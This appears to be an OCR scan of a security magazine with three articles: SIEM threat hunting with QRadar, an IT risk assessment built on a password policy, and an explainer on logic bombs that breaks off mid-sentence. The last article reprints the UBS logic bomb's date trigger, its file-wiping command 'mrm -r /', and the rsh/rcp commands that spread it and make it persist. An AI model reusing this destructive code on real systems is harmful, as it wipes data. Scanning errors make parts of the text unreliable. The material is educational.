owing DNS_guery

I
'alln]
I >
Pa

000 >

vload contains unverified_malicious_domain.ru

Figure 12. Sample rule — tracking malicious domain with SIEM
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Rules are almost self-explanatory — as the mechanism uses simple tests. SIEM looks for events registered

by any of DNS server, within DNS query, with payload that contains malicious domain — feed found by Fire-
eye. Another great feature, which makes Qradar’s SIEM unique, is a ‘reference set’ capability. Reference set
in another words is a simple list of assets. This can be anything, such as, list of blacklisted domains, privileges
users, system accounts, document names, MD5s etc — this can be only limited with imagination or available
log sources. Author encountered tens of incidents showing suspected communication with botnet —when rule
was based strictly on IPs. Very often single IP hosts hundred of domains, and majority of them (usually all)
are legitimate, making the rule to ‘loose’. Such security measure cannot rely only on list of IPs — it would be
effective and advisable to check if any internal host is making request to specific blacklisted domain. To do so,
we switch and prepare reference set — simply uploading list of ‘bad’ domains to Qradar. It is worth to mention
— obviously — that each investigation is as effective, as data quality within SIEM.

UPLOADING IOCTO SIEM

An indicator of compromise (IOC) is any artifact that can confirm that particular system or infrastructure
got compromised (based on wiki, and IOC framework home page). Having such feed (taken from SOC’s
research division) security analyst can upload the information to SIEM, and look for threats. Reference
sets utility is the best way to do so — as reference set is a simple list. Figure 13 presents sample |OCs:
malware descriptions, MD5s, blacklisted domains, and SSL certificates.

Each reference set has huge capacity, and was designed to be effective, easily maintained and auto-
matic. If system administrator wants the lists to be updated and purged with fresh information every week
— a simple change in the option session will do the job. Sample rule based on I0Cs reference set:

Rule

r"—wppf} 10C : suspicious domains on events which are detected by the Local S'_\(S-iPIT’J
iand when the event(s) were detected by one or more of Praxy

and when any of URL (custom) are contained in any of 10C_reference_set

Figure 13. The rule
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Figure 14. Set of sample I0Cs
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Other security controls that can be easily deployed using SIEM’s rules:

» Direct connections to DBA
* Administrators granting or modifying credentials
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Which accounts are used only by support?

tracking suspicious activity made by privileged users
Unknown accounts

system or information media that is no longer required
System integrity monitoring

L2R for production servers

To give another example lets imagine that we have a list of administrators that are the only specialists
in whole company that can perform certain tasks. If we find any other person doing those restricted ac-
tions, the offense should be triggered. In this case, the reference set should be used as well.

HUNTING THREATS

Building security rules, tuning, and handling incidents are still not enough. The primary goal is to monitor
organization and check if something bad is going on — and there are many ways to achieve that. Integrat-
ed solutions, processes, next-generation appliances, SIEM — all of these give a great toolkit to look for
any abnormal behavior, suspicious attempts and breaches. Here comes a problem of scale and the ‘un-
known’ — how to control big organization and be able to detect unknown threats? A unique approach is to
hunt for those threats. It may be impossible for technology and all implemented scenarios to detect insid-
er or blended threat. It is advisable to perform periodic (in fact this is ongoing process) audits (hunting!)
on smaller organization’s sites, watch day to day activities and network’s behavior. If anything comes in
mind during such investigation (anything suspicious, something new, interesting or extraordinary) — cre-
ate rules, reference sets and use all available technology to find out what this ‘thing’ is. Some key points:

choose site, small (but valuable) network, or part of organization

perform statistical searches (SIEM), observe, document

support hunting with rules, tuning, reference sets, scans etc.

dig deeper if anything brings your attention

run the same rules in another environment (compare and find the answer)

Next step is to respond to what you have found, and confirm (or decline) if the spotted object or behavior is a
threat (which stage of attack was detected?). At this point, you have already run the same rules in other parts
of corporation — and found ‘the unknown’. This process never ends — but definitely add extra layer of defense,
create knowledge (unique) about network and shortens the incident response time. Author recommends cre-
ating list of rules that will help during hunting ‘methodology’ — and using them at the very beginning to filter out
false-positives and known patterns (rules that describe each stage of attack — compromise chain). It is crucial
and strongly recommended to follow kill chain methodology during any threat-hunting process.

NOTES
This section gives several hints and tangible examples how to proceed during threat hunting process us-
ing Qradar’s SIEM and external tools.
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Figure 15. Choose valuable site or network to be monitored
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At the first stage try to get as wide picture about particular site as it is possible. Run common search-
es and group results by event name, categories, and severity (Figure15. presents number of particular
events in specific time frame for choosen site). Do statistical queries on flows — verify where is the big-
gest traffic, how much data is being exchange in business hours. Try to look at the same piece of data
from different perspectives, document findings.

Records Machad Gvar Tima

k__,___hx ALM

Uprdate Delmts

Figure 16. Perfrom statistical searches, watch business hours and non-business hours activity

It is crucial also to observe the numbers and statistics. Watch the time series graphs, and the historicall
patterns — later it can be used inbehavioral/anomaly rules.

Figure 17. Use clustering algorithms (data-mining) to explore large data

It may be a good idea, to extract flow records from SIEM’s queries and run them in data-mining engines
(for example: http://orange.biolab.si/). Figure 16. shows results from clustering algorithms (objects in the
same cluster are similar — based on multiple factors). This particular example presents tons of data be-
ing exchanged in non-business hours (suspicious! ... or just backup?) — three dots which are grouped
together. The second bigger cluster represent normal activity.
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Figure 18. Support hunting with rules

As it was mentioned before, there are tons of generic, predefinied rules. What is more, the feature
called ‘rule partially matched’ was designed to create semi-signature capability (Figure 18.). Whatever
touches the rule (but not trigger the alert — “full match’) can be used to track suspicious activity, or indi-
cates a need for tuning. More sophisticated scenarions can be constructed upon partially matched rules.
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The author considers creating multiple dynamic lists, to store accounts, hostnames, etc. to keep track
of repetitive events, or incidents caused by mentioned factors. This would build new feature, which helps
watching ‘low and slow’ attacks and internal issues.

At the end of the day, hunting is all about searching and patience...

TRENDS

For the moment of writing (Q3 2013), SIEM technologies, as well as Security Operations Centers are
being rapidity developed. Next generation of threats, issues with network monitoring, social networking,
insiders, BYOD and more, are forcing security professionals and engineers to work on new methodolo-
gies and tools that can stop evasions. New augmentations to legacy components are designed not only
to detect but also to prevent and give incident response capabilities. To author’s knowledge, SIEM’s so-
lutions are becoming more and more sophisticated and more valuable.

New capabilities are being added to SIEM — these give better insight into the infrastructure, extract
metadata and deliver information as it gets updated within the dynamic infrastructure. What is more,
many known appliances and solutions are being integrated to combine detection with incident response.
This is great idea, as it is huge demand on security incident response — the field of security that is re-
sponsible for handling breaches, policy violations and forensics investigations. It would be another step
in evolution for integrated solutions and SIEM itself — to deliver a mechanism for rapid access to sus-
pected machines, network etc. Modern threats use polymorphic/metamorphic malware, advanced eva-
sion techniques, stenography and obfuscation to be hidden, and “fly below the radar”. Very often, those
malware objects are visible to the system for milliseconds — requesting additional malicious packets from
the CnC server, or steal single logins, passwords one after another. This makes live response crucial, as
we need to respond minutes after detection to be able to acquire volatile information and perform host
inspection. All of these arguments, show that we need a solution that track threats and allow for fast and
reliable response.

Vulnerability scanners are also evolving. This technology with combination of SIEM and risk
manager(creates knowledge about topology, assets, ... ) presents and prioritize alerts based on deep
vulnerability scans. It prevents security incidents by showing problems with configurations, software
bugs and potential vulnerabilities. Those scanners give additional context to alerts, as they are embed-
ded into SIEM.

Data information is divided into structured and unstructured data (for example mails, business data,
social media information). Within a big organization, there are multiple services, multiple divisions and
goals. It is crucial to define which data is the most important, and monitor it with available technology. Big
data approach allows for combination of ‘standard’ SIEM and Hadoop framework (http://hadoop.apache.
org/). Data from collectors is being sent to Hadoop frameworks for data-mining and deep analysis. Data
analysts then prepare new rules to be implemented within SIEM to look for suspicious activity — spotted
by data-mining and historical patterns analysis. Very often we assign the terms ‘hot’ and ‘warm’ data to
SIEM solutions, as that allows for tracking incident that happen in last 1-2 weeks time. Cold data analysis
is usually assigned to bigger data units.

Another known challenge and trend at the same time — is the ticketing or incident tracking system.
Whereas there are many sophisticated toolkits and frameworks for security response — very often dur-
ing the deployment phase, the incident tracking methodology and dedicated systems are forgotten, or
miss-understood. Security response team needs a dedicated database for tracking all security breaches
and incidents triggered by SIEM. The system not only should automatically create ‘incidents’ outside the
SIEM, and allow two side communications, but also present some correlation features. SIEM’s correla-
tion engine makes events ‘smarter’ and correlates incidents, but by providing additional layer of corre-
lation (more general, in wider time frame) it gives brighter picture, and greater context. It would be un-
doubtedly fantastic feed for any security research SOC, or dedicated security research center to track
and correlate incidents from multiple organizations at one time.

The security information and event management solution is all about information. Retrieving, gath-
ering, storing and analyzing are the primary features. Apart from hunting threats and monitoring con-
siderations SIEM allows for more. First of all, SIEM can scan infrastructure passively, building the
knowledge about networks inside the corporation, its assets, topology, and vulnerabilities. This would
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help during remediation, mitigation and hardening phases of every incident response. Secondly, SIEM
should be supported by all organization’s operations teams. This involves network, server and other
operations team within the company. The cooperation between teams should be established in both
directions — giving extra support for security professionals, but also showing weak places in infrastruc-
ture and configuration to other teams.

CONCLUSION

The article presented methods and concepts, how to understand SIEM, what does threat hunting mean
and how to implement security rules. Author described the most important definitions, processes, tech-
nology and examples. Full scenario from detection, investigation and tuning phases have been present-
ed. Qradar’s SIEM and Fireeye have been shown, shortly discussing main features and capabilities. In
the end — author shares news from SIEM’s technology world. Threat hunting process seems to be a great
approach for early stages of SIEM deployment (tuning phase), supports threat detection also at the earli-
est stages of attack (compromise-chain) and gives methodology for proactive monitoring.

Any trademarks represented in this paper are the property of their respective owner(s).
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UNDERSTANDING RISKS BEFORE AN INCIDENT OCCURS

by Kevin M. Moker

Risk management is a discipline that covers many areas. There
is financial risk, operational risk, strategic risk, and compliance
risk to name a few. Information Technology (IT) poses its own
risk to the organization, but what is IT risk? Why should you care
about IT risk? How do | measure IT risk? It has been said, “What
gets measured, gets done.” Lets look at how to conduct an IT
risk assessment from policy to assessment questions to actual
compliance measurements against the information security
policies. The number one goal is to be able to know if you're in
compliance with your information security policies. This is just
one strategy to get there.

What you will learn:

» A general understanding of infor-

mation security risk management

* A general understanding of how

to conduct an information security
risk assessment

What you should know:

* Many organizations have no idea

where to spend their risk reduction
budget dollars because they do
not know where the risk is for their
assets. Know where your risks are
with respect to your information
systems.

« It is not difficult to conduct these

assessments. Don’t over compli-
cate the process.

conduct business, but many organizations really do not have a basic

understanding of technology risk. The organizations do not have clear
metrics that measure the information security controls to the actual informa-
tion assets. How do organizations know where to put the most financial sup-
port if they do not know the levels of risk?

Q Imost all organizations today rely on information technology assets to

INTRODUCTION

Information security risk management (ISRM) is the identification, control,
and measurement of potential threats, known and unknown vulnerabilities,
and the impacts of adverse events that compromise the confidentiality, in-
tegrity, and availability of information technology systems. There are several
other factors that weigh into the risk factor (e.g., the means, opportunity, and
motives to attack an information asset). This is not a perfect science. This is
more of an art-science approach to deal with information security risk. This
article will walk you through the steps of s simple risk assessment methodol-
ogy to get you started and to understand how to measure your risk.
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WHAT ARE YOU TRYING TO PROTECT AND WHY?

From an information security perspective, you are trying to protect the confidentiality, integrity, and avail-
ability (CIA) of your information assets. Just imagine if your business information, all of it, was exposed
to the Internet with no security controls. That would probably keep you up at night, right? The triad defi-
nition of CIA is as follows:

+ Confidentiality: Ensuring that information is only seen by those that have a need-to-know.
* Integrity: Ensuring information is not modified by any unauthorized personnel.
+ Availability: Ensuring information is available when needed without delay.

The CIA triad is crucial to help you understand the what’'s and why’s of the information you process,
store, and transmit. After you have a good sense of the CIA triad you'll be able to answer the following:

* What information do | have?

* Why should | protect this information? Is it cost effective?

* What am | trying to protect? Am | trying to protect the confidentiality, integrity and/or availability of
my information?

* How do | measure risk using the CIA triad?

WHAT ARE THE STEPS YOU NEED TO CONDUCT A RISK ASSESSMENT?
The following eight steps are the steps | use to begin my risk assessment process.

Classify the data sensitivity

Review your information security policies
Create assessment questions

Conduct the assessment

Measure the results

Make recommendations

Set review timeframes

I work for a major retailer in the United States. Retail information security is very different from informa-
tion security in banking, finance and healthcare. The level of risk tolerance is much higher in retail than
just about any other industry because the point of retail is to move physical product. If the IT system goes

down it's “who cares, we can still move product in the stores!” That’s one hurdle to overcome.

My approach with retail is exactly the same as my approach with banking, finance, and healthcare. |
want to measure risk, but how do you measure risk? My approach is to take the company’s information
security policies, create assessment questions from those policies, define several key threats and vul-
nerabilities, define impacts and likelihoods, and then figure out if the controls in place are adequate to
reduce the impact of an adverse event. If the controls are weak, | will then make recommendations to the
business to strengthen the technology environment.

STEP 1: CLASSIFY THE DATA SENSITIVITY

You have to know your data. There are no if’s, and’s or but’s about it. If you don’t know your data, where
it is stored, transmitted, and processed then you will never be able to measure risk effectively. Yes, you
can shotgun the risk approach and just throw money at the problem, but more than likely the money you
throw at the problem will end up in a black hole.

If you effectively identify your data, classify it, and identify the risks and controls associated with it,
then you will be able to have a better picture of how to reduce risk at the highest risk points for the least
amount of budgetary dollars.

STEP 2: REVIEW YOUR INFORMATION SECURITY POLICY

When initially creating your assessment you will have to review your information security policy and ex-
tract the specific controls. I'm going to break this down by using a generic information security password
policy from SANS (See On the Web below for a direct link to the SANS Generic Password Policy.)
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4.2 GUIDELINES

A. GENERAL PASSWORD CONSTRUCTION GUIDELINES

All users should be aware of how to select strong passwords. Strong passwords have the following
characteristics:

« Contain at least three of the five following character classes:
* Lower case characters
» Upper case characters
* Numbers
* Punctuation
« “Special” characters (e.g. @#$%"&*()_+|~-=\'{}[]:";’<>/ etc)
» Contain at least fifteen alphanumeric characters.

After reading the policy there are four controls:

Users should be made aware how to select passwords

The company uses strong passwords

The password requires upper/lower alphanumeric, punctuation and special characters
The password is at least fifteen characters in length

The next step is to create the assessment questions from the four control statements above.

STEP 3: CREATE THE ASSESSMENT
We have discerned four controls directly from the policy, so we will have four questions for our initial as-
sessment. The four questions are as follows:

* Do you ensure users are made aware how to select good password?

* Do you ensure you use strong passwords as defined in the policy?

* Does the application support and enforce upper/lower alphanumeric, punctuation and special char-
acters?

* Does the application support and enforce passwords that are at least 15 characters in length?

STEP 4: CONDUCT THE ASSESSMENT

When you conduct your assessment you will need to set up the meeting logistics and gather the correct
stakeholders. Also, you will need to define the timeframes. | recommend setting multiple meetings, but
do not go over sessions longer than sixty minutes. Furthermore, attempt to complete each assessment
in three sessions. Time is valuable, so be succinct when capturing information.

Table 1 illustrates the format of the password controls assessment. The Policy Reference column is
just that, a reference to the policy. The Question column is the question you created in Step 3. The re-
sponse column is something | use but you can change this column to fit your needs. The responses |
use are as follows:

* Yes — This could be a positive response or negative response depending on the question. For example:
* Negative Yes: Do you allow for weak passwords?
» Positive Yes: Do you use a fifteen-character password?

» Partial — This response states that the control is partially in place. For example, the team may ensure
that they tell users to use alpha/numeric characters but the system does not enforce this control.

* No - Like the Yes response, this can be positive or negative depending on the question.

* N/A - Aresponse of non-applicable just means that this control may not apply to the asset under review.

+ Threat, Impact and Risk scores — These scores are auto generated when selecting Yes, Partial, No,
or N/A from the drop downs. The score numbers are from NIST 800-30 (http://csrc.nist.gov/publica-
tions/nistpubs/800-30/sp800-30.pdf).


http://csrc.nist.gov/publications/nistpubs/800-30/sp800-30.pdf
http://csrc.nist.gov/publications/nistpubs/800-30/sp800-30.pdf

Table 1. Threat Likelihood and Threat Measurements

Threat
Likelihood

(10)

Medium
(50)

7

High
(100)

High (1.0) Low Medium High
10X1.0=10 50X 1.0=50 100 X 1.0=100

Medium (0.5) Low Medium High
10X05=5 50X 0.5=25 100 X 0.5 =50

Low (0.1) Low Medium High
10X01=1 50X0.1=5 100X 0.1 =10

* The Explanation of Risk helps the assessor with verbiage to help individuals being assessed under-
stand the why’s of each control.

Table 2. Password Control Assessment

Information Security Assessment - Password Controls
= Pf"““:m 8 Question Response Additional Information Threat | Impact | Risk Explanation of Risk
Many users will inherently create
D We ensure users are made aware WESKBAEWONHERSRE 33 i s
0 you ensure USers are
minimize weak passwords. It does not
Fasword 1 |made aware how to select Yos to create good passwords inour | 0.0 | 10.00 kel P
Palicy good password? R S SR eliminate weak passwords, but helps
: q v paig users understand why weak
passwords are bad.
We have the manual ability to
following the policy but it's not . )
Do you ensure you use i . Weak passwords make it easier for a
Pa:.;swnrd 2 |strong passwords as defined Partial sys.tematlr.. 1R AR pIEDS I Place 0.50 50.00 25 |malicious person to breach a system
Policy in the policy? to implement all the cantrols in ( licati i stern)
the system at the end of the year SRz Eppicetion, Uperang systermn
roll-out.
We have the manual abllity to
following the policy but it's not
Password Er?g zm:::ﬂf:‘:ﬂmfmn sy‘s?:rllr;fic :Mzahlac::re ;Ianssi:cplace Weak passwords make it easier for a
i 3 ! k Partial i . . ici
Policy alphanumeric, punctuation to implement all the controls in 0.50 50.00 25 |malicious person to breach a system
and special characters? the system at the and of the year (e.g., application, operating system)
roll-out.
- The application only enforces, at
Does the application support most, 8 character passwords. We Weak passwords make it easier for a
Pessword | 4 (and enioros pesswords that No have plans In place to Implement | 1.00 | 100.00 lici to breach a syst
Policy are at least 15 characters in ave plans in p :ICG O Implemen . A mallclous _DEF?OI"I (4] rea_c a system
length? all the controls in the system at (e.g., application, operating system)
the end of the year roll-out.

//////////%

STEP 5: MEASURE THE RESULTS

After you have conducted the assessment you will have to review the results. Figure 1 shows a form of
measurement to help management understand password weakenesses based on the answers from the
assessment questionnaire.
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NAME OF PROIJECT
B -'."- ) = |

Month, Day, YEAR
Review Area % Compliant % Desired Compliant
L owen me o coms s 90% 100%
2. o meey 95% 100%
3. Password Security 50% 100%
3. s eses o 75% 100%
4, comm ws g BoEEE Em TH 75% 100%
T Ty — 88% 100%
6. wwws s w 99% 100%
AN &= SSUSS RS RS S ) SEe | 86% 100%
- R —— 98% 100%
PR —— 45% 100%
10 md B 65% 100%
1l. ey & E—— 50% 100%

Figure 1. Measurement Table

The numbers from Figure 1 are great but it is difficult to see how the password controls stack up against oth-
er controls being tested. Figure 2 illustrates the graphical respresentation of the measurements in Figure 1.

g s Control Requirments Review =
This is our primary area of concern for this review

90%
BO% |
70% |7
60%

50%
4%
30%
20% |
1056

o . . . ) . . ) i

e
&
&7

T
L%

Figure 2. Graphical lllustration of Measurements

STEP 6: MAKE RECOMMENDATIONS
The following are mock recommendations based on our assessment:

* Ensure you update your applications so that the applications only accept strong passwords based
on the policy. User enforced, as opposed to system enforced, is generally a weaker control.

* Ensure you update the application so that the application only accepts, at the very least, fifteen
character passwords in length. Shorter passwords are generally weaker, thus having an easier abili-
ty to be cracked.
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STEP 7: SET REVIEW TIMEFRAMES

Risk assessments are not a one-time event. New risks are being discovered daily and should be as-
sessed often. How often should you assess your systems? System assessments are totally your call but
one recommendation is as follows and based on the risk of the systems:

* High Risk Systems — These systems should be reviewed at least annually.

* Medium Risk Systems — These systems should be reviewed at least every eighteen months.

* Low Risk Systems — These systems can be reviewed every two to three years based on the propen-
sity of the system changing to a medium risk system. The reality is that low risk systems are low risk,
obviously, so fixing a risk on a low risk system keeps it low. Pay more attention to the medium and
high risk systems to get the best bang for your budget buck.

IN SUMMARY

Information security risk management is the ability to understand where a system is most vulnerable to
a threat and continuously being vigilant in identifying vulnerabilities and threats. The risk assessment
questionnaire is based on your actual policy so you can measure where you are weak and where you
are strong in relations to policy controls. The bottom line is that you need to measure your risk so you will
know where to put your budget dollars more effectively.

This article demonstrated a very simplistic review of common password controls. The risk assessment
process is not impossible with everyone’s cooperation. Senior management must back this process in
order for the assessment process to be successful. Conducting the information security risk assessment
will help the organization overall be more successful with deploying controls with precision utilizing the
least amount of budget and gaining the most amount of protection.

ONTHE WEB

http://www.sans.org/security-resources/policies/Password_Policy.pdf SANS Generic Password Policy
http://csrc.nist.gov/publications/nistpubs/800-30-revi/sp800_30_r1.pdf NIST Guide for Conducting Risk As-
sessments

ABOUT THE AUTHOR
- I have been in the information security field since 1990. | started my career with the United States Army as
a Communication Security Specialist. | have acquired my CFE, CISSP, ISSMP and CISM. | have helped de-
velop information security risk management programs for several Fortune 500 companies. | currently work
in the retail sector for a Fortune 50 organization. For the past two years | have taught Digital Forensics at
Western Connecticut State University. You can view some of my background information at http.//www.linke-
din.com/in/kevinmokety.
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In this article, you will learn about logic bombs. Logic bomb
structure, attack methods and consequences will be detailed and
examples of recent logic bombs will be discussed.

What you will learn:

* What is a logic bomb

» Logic bomb structure, types of log-
ic bombs. attack method and re-
sults

« Examples of logic bombs

What you should know:

* General understanding of pro-
gramming

* General understanding of mal-
ware

during a cyber-attack? Do they have significant effects on individ-
uals, corporations and governments? These questions will be an-
swered in the following article on logic bombs.

WHAT ARE LOGIC BOMBS?

What exactly are logic bombs? Logic bombs are pieces of programming code
embedded within a victim’s software system. These bombs are types of mal-
ware that are similar to other types of malware such as viruses. The logic
bomb codes activate malicious functions when certain conditions are satis-
fied. These conditions are usually a specific date and time; these are called
“time bombs”. However, they can be also be activated when a particular doc-
ument or webpage is opened or visited. Logic bombs are created with mali-
cious intent against the victim’s device.

WHAT IS THE STRUCTURE OF A LOGIC BOMB?

There are four components that comprise a logic bomb which are a trigger
mechanism, payload, delivery mechanism and persistence mechanism. A
logic bomb is inserted covertly into the programming code of a computer sys-
tem’s existing software. Sometimes, these nefarious codes can be embed-
ded into a falsified application, such as a Trojan horse. Another method of de-
ploying a logic bomb on a victim is to embed it within spyware. The codes of a
logic bomb may be simple or complex depending on the anticipated outcome.

W hat is a logic bomb? How are they structured? How are they used

Whether the logic bomb is inserted into a software system, a Trojan horse
or spyware will determine the resulting attack on the victim and how their de-
vice will be affected.

WHAT ARETYPES OF LOGIC BOMBS OR HOW CAN LOGIC
BOMBS BE DELIVERED TO VICTIMS?

Types of logic bombs are categorized either by their condition satisfaction or
attack results. Perhaps the most recognized logic bomb is the time bomb. A
time bomb is a piece of programming code inserted into a software system
that “detonates”, or activates, when a certain time and/or date is reached. An-
other category of logic bombs is the Trojan horse. The Trojan horse is a piece
of malware that holds logic bomb coding. This type of malware is placed in
malicious software that is disguised as legitimate software. Therefore, the vic-
tim does not know that their device is vulnerable to an attack.
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Norton AntiVirus | x|
Norton Antivirus has detected the Trojan Horse virus in:
Filer namae: C\Documents and Setting: ini: D LASH.EXE
Domain name: JRP
System name: INKOMI

User name; Administrator

Unable to repair this file

Figure 1. Norton Antivirus detects a Trojan horse

The last type of logic bomb is a worm. This malware houses logic bombs that are activated by any con-
dition. However, unlike other malware, worms do not require a host to be carried to the victim’s device. A
worm is identified by its ability to reproduce itself multiple times within a software system and spread its
malicious coding through a network, essentially, its payload (or the software’s destructive results). Acom-
puter worm’s payload can be a number of detrimental results for the victim. For example, after a worm
spreads, it may delete files off of a network, send particular documents through e-mail or encrypt files.

WHAT ARE LOGIC BOMB ATTACK METHODS?

Logic bombs, as previously indicated, can be injected in either a software system or a Trojan horse; or it
can be independent malware, such as a worm, that does not require a carrier host. A logic bomb can be
sent to a victim’s device through spear phishing tactics.

Spear phishing is an e-mail fraud method that focuses on targeting specific victims, usually in an orga-
nization, in order to gain access to confidential information. These e-mails appear legitimate to the recipi-
ent, as legitimate e-mail accounts are hacked and used to send these fraudulent messages. Therefore,
the victim will trust the source and most likely, open the e-mail with the logic bomb included. The logic
bomb may either be saved onto the victim’s computer, where it will wait to “detonate” until a condition is
satisfied; or the condition programmed into the logic bomb is to simply open the e-mail message.

HOCT SPearpnesning with Malcious ATACNHMenss
Date: April 8, 2012 121938 AM POT
Ta: wictoria 2008 @yahoo com

Seve v Quick Look

Helio,

My name is mo with @ secunty company called FireEye. We deal with targeted atacks against large
O/QANIZABONS et Come 1 vid SMAil ATAChMANt Of email links. Essentially, | 30 malware Andlysis 17 a lving

¥ | have you on the BCC list you have submisied more than one targeted malicous anachment 1o virusiotal over the
past flew months. Pleass understand that when you send a il o VT, many ressarchers lice mysell get a copy of the
SMail in Order 10 WAt Sur Drodutts

| would love 10 write a blog entry at my corporale site about 2 few of hese aZacks and mention you by name. Keep in
mind | already have this informason, but | would like your parmission in additon, as it might not have been an IT
parson who uplasded e Sils, not you specifically

Thanis in advance

.
Direct: 1 (880) 8254277
Email:

)
<O FireEye

hitp Feerw Fire Eye com

Figure 2. Example of Spear Phishing E-mail - Iconix Visual ID for Email (http://iconixtruemark.wordpress.com/2012/04/20/
spearphishing-example-spoofing-fireeye/)
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Regarding other pieces of malware, such as viruses, Trojan horses and worms, logic bombs can be
carried through these other malicious methods. For example, a virus may gain access into a network
through a Trojan horse. The virus can then plant a logic bomb onto application software within a network.
The logic bomb can then activate a worm when the software application executes.

A well-known logic bomb attack method is usually when a software developer inserts the dormant code
into the software that they’re currently creating. Or a disgruntled employee that has just been fired or laid
off from a company may inject code in a program to destroy certain files on the organization’s network.
The victim or network’s IT administrator will have difficulty detecting the code since it is embedded in the
system’s software.

Both of these logic bomb attack methods are effective since the e-mail message or software that the
logic bomb code was inserted appear legitimate to the victim.

HOW DOES A LOGIC BOMB REMAIN IN A HOST MACHINE?

After the logic bomb is transmitted to the victim’s computer, the logic bomb will remain hidden within a le-
gitimate script or program. For example, the UBS logic bomb attack by Roger Duronio in March 2002 was
placed on the host UNIX server in the central data center of UBS. Duronio became disgruntled after he re-
ceived a drastic cut in his bonus from UBS. He ended up resigning and was seeking revenge on UBS. He
injected the logic bomb within legitimate script on the data center’s server before he resigned from UBS.
This logic bomb was discovered as “RPC.LOGD” with an original source code name of “wait_tst.c”.

WHAT IS AN EXAMPLE OF THE SOURCE CODE OF A LOGIC BOMB?

The source code of logic bombs can be simplistic or extremely complex. For example, the logic bomb
that Duronio planted on UBS’s data center server was comprised of the following source code for its trig-
ger mechanism:

Listing 1. UBS Logic Bomb Trigger Mechanism Source Code

while (TRUE) {
Clock - time (&tloc) ;
tm = localtime (&Clock) ;

if (tm->tm mon == || tm->tm mon==3 || tm->tm mon==4) ({
if (tm->tm wday == ) {
if (tm->tm hour >= 9) {

if (tm->tm min >=30) {

system(“/usr/sbin/mrm -r / &"”) ;
break;
} else {
sleep (60) ;
}
}else {
sleep ( )
}
}else {
sleep (60*60*24) ;
}
}else {
sleep (24*%60*60*10)

}

In essence, this source code, or trigger, is programmed (in this case, a certain date and time) to ex-
ecute the time bomb. According to Duronio’s source code, this time bomb is to detonate on Mondays in
the months of March, April and May at 9:00 AM or later. At this time, all files within the data center server
would be deleted.



The UNIX based “remove” command (rm) is masked in this source code and is displayed as mrm. This
payload is activated to delete all of the files on the data center’s UNIX server once the dates and times
are satisfied.

Within this source code, there is the payload (destructive result) which is the command:

system(“/usr/sbin/mrm -r / &”) ;

The delivery mechanism is source code found before the trigger of the logic bomb. In Roger Duronio’s
particular time bomb, the delivery mechanism consisted of trigger delivery and persistence mechanism
delivery (which aids the time bomb in repeating its sequence upon restart in order to detonate when the
correct conditions are satisfied). Duronio’s logic bomb’s delivery mechanisms were as follows:

Listing 2. UBS’s Logic Bomb - Delivery Mechanism

rcp /usr/sbin/rpc.logd $i:/usr/sbin/rpc.logd

rcp /usr/sbin/rpc.logd $i:/usr/sbin/syschg

rcp llines $i:/tmp/llines

rsh $i ‘cat /etc/rc.nfs /tmp/llines >/tmp/rc.nfs’

rsh $i mv /tmp/rc.nfs /etc/rc.nfs

rsh $i cp /usr/bin/rm /usr/sbin/mrm

rsh $i “nohup /usr/sbin/rpc.logd </dev/null >/dev/null 2>&1 &”
rsh $i ‘echo /usr/bin/syschg | at -t 200203010930’

The first two lines of code deliver the trigger to the victim’s machine while the last six lines of code de-
liver the persistence mechanism and payload. The delivery of the trigger consists of using the rcp com-
mand, which sends the trigger to a remote computer (the victim’s machine). This command places the
trigger into the file rpc.logd into the file path, /usr/sbin/rpc.10gd.

Next the delivery of the persistence mechanism begins with the delivery of the executable, 11ines, to
the remote computer (via rcp) where it is stored in the victim computer’s tmp folder (rcp 11ines $i:/tmp/
11lines). Llines then executes (rsh) the persistence mechanisms of searching for files via the cat com-
mand (rsh $i ‘cat /etc/rc.nfs /tmp/llines >/tmp/rc.nfs’)and moving these files via the mv com-
mand (rsh $i mv /tmp/rc.nfs /etc/rc.nfs).

Once the persistence mechanism is delivered, the payload is executed through the command, rsh si
cp /usr/bin/rm /usr/sbin/mrm. This removes the files that the prior commands recovered and moved.

The last two commands install the logic bomb twice into the file path, /usr/sbin/rpc.10gda. The com-
mand, rsh nohup, executes the logic bomb during each restart of the computer and the echo command
repeats the previous command. Therefore, the logic bomb will become a persistent threat whenever the
victim’s computer is restarted.

HOW DID THE UBS LOGIC BOMB GO UNDETECTED?
Roger Duronio’s time bomb was planted into legitimate scripting and was residing within the UBS UNIX-based
data center server. Duronio was able to complete this task after he resigned from UBS via VPN Gateway.

The time bomb did not appear to be malicious in nature due to its hidden location on the data center
server. In addition, when Duronio injected the bomb into the server through VPN Gateway, he was able
to switch usernames (rduronio to root) to ensure that this activity would not be detected quickly.

WHAT ARE RESULTS OF LOGIC BOMBS?
Logic bombs have the potential to create crippling destruction to a victim or organization’s data and/or
network. What exactly can these small pieces of code do to a victim?

Normally, logic bombs are coded to delete certain files off of an individual’s personal computer, or even

their whole hard drive may be wiped clean. However, when a logic bomb is intended to cause extreme
destruction to an organization, the malware may be coded to carry out several other results.
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Organizations who are the intended recipients of logic bombs may experience all of the servers on
their network being completely wiped clean of all files and data. In addition, individual computers on an
organization’s network may be affected and the logic bomb will cause several computers on the network
to crash. In addition, the integrity of a corporation will be compromised during a logic bomb attack. Clien-
tele of these victimized companies will view the security of these companies as sub-par and most likely,
their revenue and profits will be affected. Customers will come to the understanding that their confiden-
tial information is not being handled with care and will more than likely move their patronage elsewhere.

Can a simple piece of code cause physical destruction? Logic bombs have the ability to cause signifi-
cant physical damage to organizations. Stuxnet will be discussed later in this article that describes how
logic bombs can force a nuclear power turbine in a control system to self destruct.

EXAMPLES OF LOGIC BOMBS

In March 2013, a cyber-attack in South Korea used logic bombs to wipe bank and broadcasting company
hard drives clean. The logic bomb malware was inserted in corporate patching systems within the finan-
cial institution and broadcasting company realms. Therefore, the logic bomb appeared as a legitimate
security update to the IT departments of the affected organizations. The IT departments did not feel that
the security update contained any visible malicious software and the pushed the update through their
networks, infecting numerous computers.

This logic bomb that was injected within the security update was programmed to commence the dele-
tion of data on the network machines’ hard drives and deleting the master boot record of two broadcast-
ing companies and three financial institutions on March 20, 2013 at 2 PM local time.

The malware involved in this cyber-attack was comprised of four files. The file that contained the logic
bomb that was responsible for wiping the data was called AgentBase.exe. The logic bomb’s code was
a hex string, 4DAD4678, which acted as a time bomb. The infected Microsoft Windows machines’ hard
drives and the master boot record would be overwritten starting on March 20, 2013 at 2:00:01 PM local
time in South Korea.

This malware also contained a portion that deleted data from remote Linux distribution computers. The
perpetrators, who remain unknown, were aiming to not only remove data from the stationary desktops
at these organizations but also the remote VPN connections from outside of the organizations’ walls.
Therefore, Linux servers containing master boot records were vulnerable to this cyber-attack, as well.

Stuxnet is another example of a logic bomb with more deadly consequences. This cyber-attack fo-
